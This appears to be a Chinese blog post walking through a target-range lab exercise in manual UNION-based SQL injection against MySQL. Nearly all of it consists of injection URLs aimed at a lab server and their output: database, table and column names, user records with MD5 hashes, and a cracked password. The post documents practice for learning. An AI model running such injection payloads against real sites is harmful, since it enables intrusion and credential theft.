欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

SQL手工注入方法

程序员文章站 2022-05-03 15:32:52
SQL手工注入漏洞测试(MySQL数据库) 的靶场练习 流程与方法 ......

 sql手工注入漏洞测试(mysql数据库) 的靶场练习   流程与方法

注意:加粗部分给重点

查询数据库名
http://219.153.49.228:46939/new_list.php?id=22 union select 1,database(),3,4 from information_schema.tables
获取到的库名

mozhe_discuz_stormgroup
查询库下的表名

http://219.153.49.228:46939/new_list.php?id=-5 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'
获取到的表名

stormgroup_member,notice
查询表下的字段

http://219.153.49.228:46939/new_list.php?id=-5 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member'
获取到的字段名

id,name,password,status
查询数据

http://219.153.49.228:46939/new_list.php?id=-5 union select 1,group_concat(id,0x5c,name,0x5c,password,0x5c,status),3,4 from stormgroup_member
​得到的数据(ox5c为 \ 的16进制)

1\mozhe\356f589a7df439f6f744ff19bb8092c0\0,1\mozhe\4adef249540a3cb5d79c85f6ccc7ddb9\1

md5解密得到密码,经过测试有可用

4adef249540a3cb5d79c85f6ccc7ddb9

946377